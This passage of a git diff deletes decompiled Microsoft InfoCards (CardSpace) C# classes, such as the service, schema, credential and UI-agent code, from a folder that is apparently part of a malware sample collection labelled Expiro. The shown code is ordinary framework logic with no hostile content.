InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("IPStsPolicyRequestingNonPpidClaims"))); - } - - public static bool IsSelfIssuedUriPresent(EndpointAddress address) => !((EndpointAddress) null == address) && Utility.CompareUri(address.Uri, XmlNames.WSIdentity.SelfIssuerUriValue); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardRequestException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardRequestException.cs deleted file mode 100644 index e0778e95..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardRequestException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardRequestException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfoCardRequestException : InfoCardBaseException - { - private const int HRESULT = -1073413882; - - public InfoCardRequestException() - : base(-1073413882) - { - } - - public InfoCardRequestException(string message) - : base(-1073413882, message) - { - } - - public InfoCardRequestException(string message, Exception inner) - : base(-1073413882, message, inner) - { - } - - protected InfoCardRequestException(SerializationInfo si, StreamingContext sc) - : base(-1073413882, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardSchemas.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardSchemas.cs deleted file mode 100644 index d02f576c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardSchemas.cs +++ /dev/null @@ -1,156 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardSchemas -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Reflection; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardSchemas - { - private static readonly string[] s_primarySchemas = new string[2] - { - "identity.xsd", - "ws-identity-2007.xsd" - }; - private static readonly InfoCardSchemas.SchemaLocationResourceMapping[] s_supportingSchemas = new InfoCardSchemas.SchemaLocationResourceMapping[13] - { - new InfoCardSchemas.SchemaLocationResourceMapping("addressing.xsd", "http://www.w3.org/2005/08/addressing/addressing.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("addressing04.xsd", "http://schemas.xmlsoap.org/ws/2004/08/addressing/"), - new InfoCardSchemas.SchemaLocationResourceMapping("xmldsig-core-schema.xsd", "http://www.w3.org/TR/xmldsig-core/xmldsig-core-schema.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("xml.xsd", "http://www.w3.org/2001/xml.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("xenc-schema.xsd", "http://www.w3.org/TR/xmlenc-core/xenc-schema.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("oasis-200401-wss-wssecurity-secext-1.0.xsd", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("oasis-200401-wss-wssecurity-utility-1.0.xsd", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSPolicyXmlSoap2004.Instance.LocalSchemaLocation, XmlNames.WSPolicyXmlSoap2004.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSPolicyW32007.Instance.LocalSchemaLocation, XmlNames.WSPolicyW32007.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSSecurityPolicyXmlSoap2005.Instance.LocalSchemaLocation, XmlNames.WSSecurityPolicyXmlSoap2005.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSSecurityPolicyOasis2007.Instance.LocalSchemaLocation, XmlNames.WSSecurityPolicyOasis2007.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSTrustXmlSoap2005.Instance.LocalSchemaLocation, XmlNames.WSTrustXmlSoap2005.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSTrustOasis2007.Instance.LocalSchemaLocation, XmlNames.WSTrustOasis2007.Instance.SchemaLocation) - }; - private static InfoCardSchemas s_current = new InfoCardSchemas(Assembly.GetExecutingAssembly()); - private InfoCardSchemas.LocalCachingResolver m_resolver; - private Assembly m_assembly; - private XmlSchemaSet m_schemas; - private object m_sync; - - private InfoCardSchemas(Assembly sourceAssembly) - { - this.m_sync = new object(); - this.m_resolver = new InfoCardSchemas.LocalCachingResolver(); - this.m_assembly = sourceAssembly; - } - - public static XmlSchemaSet GetSchemaSet() - { - if (InfoCardSchemas.s_current.m_schemas == null) - { - lock (InfoCardSchemas.s_current.m_sync) - { - if (InfoCardSchemas.s_current.m_schemas == null) - InfoCardSchemas.s_current.InitializeSchemas(); - } - } - return InfoCardSchemas.s_current.m_schemas; - } - - public static XmlReader CreateReader(string fragment) => InfoCardSchemas.CreateReader(Utility.CreateReaderWithQuotas(fragment)); - - public static XmlReader CreateReader(Stream stream, XmlReaderSettings settings) => InfoCardSchemas.CreateReader(Utility.CreateReaderWithQuotas(stream), settings); - - public static XmlReader CreateReader( - XmlDictionaryReader reader, - XmlReaderSettings settings) - { - return XmlReader.Create((XmlReader) reader, settings); - } - - public static XmlReader CreateReader(XmlDictionaryReader reader) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - return XmlReader.Create((XmlReader) reader, defaultReaderSettings); - } - - public static XmlReaderSettings CreateDefaultReaderSettings() - { - XmlReaderSettings defaultReaderSettings = new XmlReaderSettings(); - defaultReaderSettings.CloseInput = false; - defaultReaderSettings.ValidationType = ValidationType.Schema; - defaultReaderSettings.ValidationFlags = XmlSchemaValidationFlags.ReportValidationWarnings; - defaultReaderSettings.ConformanceLevel = ConformanceLevel.Auto; - defaultReaderSettings.Schemas = InfoCardSchemas.GetSchemaSet(); - defaultReaderSettings.ValidationEventHandler += new ValidationEventHandler(InfoCardSchemas.ErrorHandler); - defaultReaderSettings.XmlResolver = (XmlResolver) InfoCardSchemas.s_current.m_resolver; - defaultReaderSettings.IgnoreComments = true; - defaultReaderSettings.IgnoreWhitespace = true; - defaultReaderSettings.IgnoreProcessingInstructions = true; - return defaultReaderSettings; - } - - private void InitializeSchemas() - { - InfoCardSchemas.LocalCachingResolver localCachingResolver = new InfoCardSchemas.LocalCachingResolver(); - for (int index = 0; index < InfoCardSchemas.s_supportingSchemas.Length; ++index) - { - Uri location = new Uri(InfoCardSchemas.s_supportingSchemas[index].SchemaLocation); - System.Xml.Schema.XmlSchema schema = System.Xml.Schema.XmlSchema.Read(this.m_assembly.GetManifestResourceStream(InfoCardSchemas.s_supportingSchemas[index].ResourceName), new ValidationEventHandler(InfoCardSchemas.ErrorHandler)); - localCachingResolver.AddLocalSchema(location, schema); - } - XmlSchemaSet xmlSchemaSet = new XmlSchemaSet(); - xmlSchemaSet.XmlResolver = (XmlResolver) localCachingResolver; - for (int index = 0; index < InfoCardSchemas.s_primarySchemas.Length; ++index) - { - System.Xml.Schema.XmlSchema schema = System.Xml.Schema.XmlSchema.Read(this.m_assembly.GetManifestResourceStream(InfoCardSchemas.s_primarySchemas[index]), new ValidationEventHandler(InfoCardSchemas.ErrorHandler)); - xmlSchemaSet.Add(schema); - } - xmlSchemaSet.ValidationEventHandler += new ValidationEventHandler(InfoCardSchemas.ErrorHandler); - xmlSchemaSet.Compile(); - this.m_resolver = localCachingResolver; - this.m_schemas = xmlSchemaSet; - } - - private static void ErrorHandler(object sender, ValidationEventArgs args) - { - if (args.Severity == XmlSeverityType.Error) - throw InfoCardTrace.ThrowHelperCritical((Exception) new XmlSchemaValidationException(SR.GetString("SchemaValidationError", (object) args.Exception.Message), (Exception) args.Exception)); - } - - private class LocalCachingResolver : XmlUrlResolver - { - private Dictionary m_table; - - public LocalCachingResolver() => this.m_table = new Dictionary(); - - public void AddLocalSchema(Uri location, System.Xml.Schema.XmlSchema schema) => this.m_table.Add(location, schema); - - public override Uri ResolveUri(Uri baseUri, string relativeUri) => base.ResolveUri(baseUri, relativeUri); - - public override object GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn) => (object) this.m_table[absoluteUri]; - } - - private class SchemaLocationResourceMapping - { - private string m_resourceName; - private string m_schemaLocation; - - public SchemaLocationResourceMapping(string resourceName, string schemaLocation) - { - this.m_resourceName = resourceName; - this.m_schemaLocation = schemaLocation; - } - - public string ResourceName => this.m_resourceName; - - public string SchemaLocation => this.m_schemaLocation; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardService.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardService.cs deleted file mode 100644 index 2cda7f6e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardService.cs +++ /dev/null @@ -1,111 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardService -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Net; -using System.Net.Security; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.ServiceProcess; - -namespace Microsoft.InfoCards -{ - internal class InfoCardService : ServiceBase - { - public const int WindowsVistaMajorVersion = 6; - public const string FullServiceName = "idsvc"; - private RpcCallbacks m_rpcCallbacks; - public static LifeTimeMonitor LifeTimeMonitor = (LifeTimeMonitor) null; - - public static event EventHandler Stopping; - - public InfoCardService() - { - bool flag1 = 0 != NativeMethods.GetSystemMetrics(86); - bool flag2 = Environment.OSVersion.Version.Major < 6; - if (NativeMcppMethods.AdjustPrivilegesWrapper(flag1 && flag2) != 0U) - InfoCardService.Crash((Exception) new Win32Exception()); - try - { - NativeMcppMethods.AdjustServiceProcessSecurity(); - } - catch (Win32Exception ex) - { - InfoCardService.Crash((Exception) ex); - } - this.ServiceName = "idsvc"; - this.CanStop = true; - this.CanShutdown = true; - this.CanPauseAndContinue = false; - this.CanHandleSessionChangeEvent = true; - this.CanHandlePowerEvent = false; - this.AutoLog = true; - this.m_rpcCallbacks.uiAgentRequestAuthorize = new RpcAuthorizeCallback(UIAgentRequest.Authorize); - this.m_rpcCallbacks.uiAgentRequestBindToService = new RpcUIAgentBindToServiceCallback(UIAgentRequest.BindToService); - this.m_rpcCallbacks.clientRequestAuthorize = new RpcAuthorizeCallback(ClientRequest.Authorize); - this.m_rpcCallbacks.clientRequestBindToService = new RpcClientBindToServiceCallback(ClientUIRequest.BindToService); - this.m_rpcCallbacks.requestFactoryProcessNewRequest = new RpcProcessNewRequestCallback(RequestFactory.ProcessNewRequest); - this.m_rpcCallbacks.allocMem = new RpcAllocMemCallback(Marshal.AllocHGlobal); - this.m_rpcCallbacks.freeMem = new RpcFreeMemCallback(Marshal.FreeHGlobal); - this.m_rpcCallbacks.rundownClientContext = new RpcRundownClientContextHandle(ClientUIRequest.RemoveAndDisposeContextMapping); - InfoCardService.LifeTimeMonitor = new LifeTimeMonitor(); - ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(InfoCardX509Validator.ValidateChainOrPeerCallback); - } - - protected override void Dispose(bool disposing) => base.Dispose(disposing); - - protected override void OnStart(string[] args) - { - base.OnStart(args); - AppDomain.CurrentDomain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal); - using (HGlobalSafeHandle hglobalSafeHandle = HGlobalSafeHandle.Construct(Marshal.SizeOf((object) this.m_rpcCallbacks))) - { - Marshal.StructureToPtr((object) this.m_rpcCallbacks, hglobalSafeHandle.DangerousGetHandle(), false); - uint error = NativeMcppMethods.InfoCardStartRpcServerWrapper(InfoCardUIAgent.UiAgentFullPath, hglobalSafeHandle.DangerousGetHandle()); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) error)); - } - } - - protected override void OnStop() - { - try - { - InfoCardUIAgent.DoShutdown(); - int num = (int) NativeMcppMethods.InfoCardStopRpcServerWrapper(); - this.OnStopping(); - } - catch (Exception ex) - { - InfoCardTrace.TraceAndLogException(ex); - } - finally - { - base.OnStop(); - } - } - - protected virtual void OnStopping() - { - if (InfoCardService.Stopping == null) - return; - InfoCardService.Stopping((object) this, new EventArgs()); - } - - protected override void OnSessionChange(SessionChangeDescription changeDescription) - { - if (SessionChangeReason.SessionLogoff != changeDescription.Reason) - return; - InfoCardUIAgent.OnLogout((uint) changeDescription.SessionId); - } - - public static void Crash() => InfoCardService.Crash((Exception) null); - - public static void Crash(Exception e) => InfoCardTrace.FailFast(e.Message); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs deleted file mode 100644 index 47e13156..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs +++ /dev/null @@ -1,143 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardServiceClientCredentials -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Description; -using System.ServiceModel.Dispatcher; -using System.ServiceModel.Security.Tokens; - -namespace Microsoft.InfoCards -{ - internal class InfoCardServiceClientCredentials : ClientCredentials - { - private InfoCard m_card; - private TokenFactoryCredential m_credentials; - private bool m_isSelfIssued; - private ProtocolProfile m_protocolProfile; - private RSATokenProvider m_endorsingSigTokenProvider; - - public InfoCardServiceClientCredentials(TokenFactoryCredential creds, ProtocolProfile profile) - { - this.m_credentials = creds; - this.m_protocolProfile = profile; - } - - public InfoCardServiceClientCredentials( - InfoCardServiceClientCredentials other, - ProtocolProfile profile) - : base((ClientCredentials) other) - { - this.m_credentials = other.m_credentials; - this.m_endorsingSigTokenProvider = other.m_endorsingSigTokenProvider; - this.m_protocolProfile = profile; - } - - public InfoCard SelectedCard - { - get => this.m_card; - set => this.m_card = value; - } - - public bool IsSelfIssuedCred - { - get => this.m_isSelfIssued; - set => this.m_isSelfIssued = value; - } - - public RSATokenProvider EndorsingSignatureTokenProvider - { - get => this.m_endorsingSigTokenProvider; - set => this.m_endorsingSigTokenProvider = value; - } - - public ProtocolProfile ProtocolVersionProfile => this.m_protocolProfile; - - protected override ClientCredentials CloneCore() => (ClientCredentials) new InfoCardServiceClientCredentials(this, this.m_protocolProfile); - - public override void ApplyClientBehavior( - ServiceEndpoint serviceEndpoint, - ClientRuntime behavior) - { - } - - public override SecurityTokenManager CreateSecurityTokenManager() => (SecurityTokenManager) new InfoCardServiceClientCredentials.InfoCardServiceClientCredentialsSecurityTokenManager(this); - - private class InfoCardServiceClientCredentialsSecurityTokenManager : - ClientCredentialsSecurityTokenManager - { - private InfoCard m_card; - private TokenFactoryCredential m_credentials; - private ProtocolProfile m_protocolProfile; - - public InfoCardServiceClientCredentialsSecurityTokenManager( - InfoCardServiceClientCredentials creds) - : base((ClientCredentials) creds) - { - this.m_card = creds.SelectedCard; - this.m_credentials = creds.m_credentials; - this.m_protocolProfile = creds.ProtocolVersionProfile; - } - - public override SecurityTokenProvider CreateSecurityTokenProvider( - SecurityTokenRequirement tokenRequirement) - { - string str = tokenRequirement != null ? tokenRequirement.TokenType : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (tokenRequirement)); - bool flag = null != ((InfoCardServiceClientCredentials) this.ClientCredentials).EndorsingSignatureTokenProvider; - if (this.IsIssuedSecurityTokenRequirement(tokenRequirement)) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.SelfIssuedCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - IssuedSecurityTokenParameters property1 = tokenRequirement.GetProperty(ServiceModelSecurityTokenRequirement.IssuedSecurityTokenParametersProperty); - EndpointAddress property2 = tokenRequirement.GetProperty(ServiceModelSecurityTokenRequirement.TargetAddressProperty); - if (property1.IssuerAddress != (EndpointAddress) null && Utility.CompareUri(property1.IssuerAddress.Uri, XmlNames.WSIdentity.SelfIssuerUriValue)) - return (SecurityTokenProvider) new CustomTokenProvider(property1, this.m_card, property2, ((InfoCardServiceClientCredentials) this.ClientCredentials).IsSelfIssuedCred, this.m_protocolProfile); - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("InvalidIssuerForIssuedToken"))); - } - if (str == SecurityTokenTypes.X509Certificate) - { - if (tokenRequirement.KeyUsage != SecurityKeyUsage.Signature) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.X509CertificateCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return (SecurityTokenProvider) new RemoteCryptoTokenProvider(this.ClientCredentials.ClientCertificate.Certificate); - } - if (str == ServiceModelSecurityTokenTypes.MutualSslnego) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.X509CertificateCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == ServiceModelSecurityTokenTypes.AnonymousSslnego) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (str == ServiceModelSecurityTokenTypes.SecureConversation) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (str == SecurityTokenTypes.Kerberos || str == ServiceModelSecurityTokenTypes.Spnego) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.KerberosCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == SecurityTokenTypes.UserName) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.UserNamePasswordCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == ServiceModelSecurityTokenTypes.SspiCredential) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.KerberosCredential && this.m_credentials.CredentialType != TokenFactoryCredentialType.UserNamePasswordCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - return str == SecurityTokenTypes.Rsa && flag ? (SecurityTokenProvider) ((InfoCardServiceClientCredentials) this.ClientCredentials).EndorsingSignatureTokenProvider : base.CreateSecurityTokenProvider(tokenRequirement); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardUIAgent.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardUIAgent.cs deleted file mode 100644 index 4fdca244..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardUIAgent.cs +++ /dev/null @@ -1,530 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardUIAgent -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class InfoCardUIAgent - { - private const string UiAgentName = "icardagt.exe"; - private const string IdleTimeoutKey = "software\\microsoft\\infocard"; - private const int IdleTimeoutDefault = 300; - private const string IdleTimeoutValue = "sleep1"; - public static readonly string UiAgentFullPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "icardagt.exe"); - private static bool s_initialized; - private static bool s_isShuttingDown; - private static ManualResetEvent s_doneShuttingDownEvent = new ManualResetEvent(false); - private static InfoCardUIAgent.UInt32IndexedHybridDictionary s_sessionIdCollection = new InfoCardUIAgent.UInt32IndexedHybridDictionary(); - private static InfoCardUIAgent.UInt32IndexedHybridDictionary s_pidCollection = new InfoCardUIAgent.UInt32IndexedHybridDictionary(); - private readonly TimeSpan AgentStateChangeTimeOut = new TimeSpan(0, 0, 300); - private static TimeSpan s_idleTimeout = new TimeSpan(0, 0, 300); - private static object s_syncRoot = new object(); - private ManualResetEvent m_uiStatusRecieved; - private AutoResetEvent m_agentGetWorkStart; - private AutoResetEvent m_agentGetWorkComplete; - private ClientUIRequest m_request; - private int m_tsSessionId; - private Process m_process; - private EventHandler m_processExitHandler; - private Timer m_timer; - private string m_trustedUserSid; - private SafeNativeHandle m_trustedUserToken; - private string m_desktopName; - private string m_user; - private InfoCardUIAgent.CallMode m_mode; - private RpcUIAgentGetWorkCallback m_getWorkCallback; - private ClientUIRequest.RequestResult m_currentStatus; - private object m_memberSync; - - private InfoCardUIAgent(int callerPid, WindowsIdentity userIdentity, int tsSessionId) - { - this.m_agentGetWorkStart = new AutoResetEvent(false); - this.m_agentGetWorkComplete = new AutoResetEvent(false); - this.m_uiStatusRecieved = new ManualResetEvent(false); - this.m_tsSessionId = tsSessionId; - this.m_timer = (Timer) null; - IntPtr zero1 = IntPtr.Zero; - IntPtr zero2 = IntPtr.Zero; - int pid = 0; - this.m_mode = InfoCardUIAgent.CallMode.Sleep; - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_user = userIdentity.User.ToString(); - this.m_memberSync = new object(); - int num = NativeMcppMethods.VerifyTrust(InfoCardUIAgent.UiAgentFullPath); - if (num != 0) - InfoCardTrace.FailFast(SR.GetString("FailedToVerifySignature", (object) num)); - IntPtr zero3 = IntPtr.Zero; - bool fElevateToken = false; - int trustedUserWrapper = (int) NativeMcppMethods.CreateProcessAsTrustedUserWrapper(InfoCardUIAgent.UiAgentFullPath, "", (uint) callerPid, "WinSta0\\Default", userIdentity.Name, (uint) this.m_tsSessionId, ref zero2, ref zero1, ref pid, zero3, ref this.m_trustedUserSid, fElevateToken); - if (trustedUserWrapper != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new FailedToStartupUIException(SR.GetString("CreateProcessFailed", (object) trustedUserWrapper), (Exception) new Win32Exception(trustedUserWrapper))); - this.m_trustedUserToken = new SafeNativeHandle(zero2, true); - using (SafeWaitHandle processHandle = new SafeWaitHandle(zero1, true)) - { - this.m_process = ProcessMonitor.GetProcessById(pid); - this.m_processExitHandler = new EventHandler(this.OnProcessExit); - this.m_process.Exited += this.m_processExitHandler; - Utility.ThrowIfProcessExited(processHandle); - } - } - - public uint ProcessId => (uint) this.m_process.Id; - - public string DesktopName => this.m_desktopName; - - private ClientUIRequest Request => this.m_request; - - public int TsSessionId => this.m_tsSessionId; - - public bool IsActive - { - get - { - switch (this.m_mode) - { - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - return true; - default: - return false; - } - } - } - - public bool IsShuttingDown => this.m_mode == InfoCardUIAgent.CallMode.Shutdown; - - public SafeNativeHandle TrustedUserToken => this.m_trustedUserToken; - - public string TrustedUserSid => this.m_trustedUserSid; - - public string User => this.m_user; - - private static void InitializeIfNecessary() - { - if (InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - if (InfoCardUIAgent.s_initialized) - return; - using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("software\\microsoft\\infocard", false)) - { - if (registryKey != null) - { - object seconds = registryKey.GetValue("sleep1", (object) 300); - if (seconds is int num) - { - if (num > 0) - InfoCardUIAgent.s_idleTimeout = new TimeSpan(0, 0, (int) seconds); - } - } - } - InfoCardUIAgent.s_initialized = true; - } - } - - public static InfoCardUIAgent Create( - int callerPid, - WindowsIdentity callerIdentity, - int tsSessionId) - { - InfoCardUIAgent.InitializeIfNecessary(); - InfoCardUIAgent infoCardUiAgent = (InfoCardUIAgent) null; - lock (InfoCardUIAgent.s_syncRoot) - { - InfoCardUIAgent.ThrowIfShuttingDown(); - infoCardUiAgent = (InfoCardUIAgent) InfoCardUIAgent.s_sessionIdCollection[(uint) tsSessionId]; - if (infoCardUiAgent != null) - { - if (infoCardUiAgent.IsShuttingDown) - { - infoCardUiAgent = (InfoCardUIAgent) null; - } - else - { - if (infoCardUiAgent.Request != null) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException()); - if (infoCardUiAgent.User != callerIdentity.User.ToString()) - { - infoCardUiAgent.Shutdown(); - infoCardUiAgent = (InfoCardUIAgent) null; - } - } - } - if (infoCardUiAgent == null) - { - infoCardUiAgent = new InfoCardUIAgent(callerPid, callerIdentity, tsSessionId); - InfoCardUIAgent.s_pidCollection[infoCardUiAgent.ProcessId] = (object) infoCardUiAgent; - InfoCardUIAgent.s_sessionIdCollection[(uint) tsSessionId] = (object) infoCardUiAgent; - } - } - return infoCardUiAgent; - } - - public RpcUIAgentGetWorkCallback Bind( - string desktopName, - out SecurityIdentifier userSid, - out SafeWaitHandle hStartEvent, - out SafeWaitHandle hCompleteEvent) - { - lock (this.m_memberSync) - { - userSid = new SecurityIdentifier(this.m_trustedUserSid); - hStartEvent = Utility.GetRemoteHandleFromLocalHandle(this.m_agentGetWorkStart.SafeWaitHandle, this.m_process); - hCompleteEvent = Utility.GetRemoteHandleFromLocalHandle(this.m_agentGetWorkComplete.SafeWaitHandle, this.m_process); - this.m_desktopName = desktopName; - return this.m_getWorkCallback = new RpcUIAgentGetWorkCallback(this.GetWork); - } - } - - public void ResetUIResult() - { - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_uiStatusRecieved.Reset(); - } - - public ClientUIRequest.RequestResult ShowUI(InfoCardUIAgent.CallMode mode) - { - if (this.m_currentStatus == 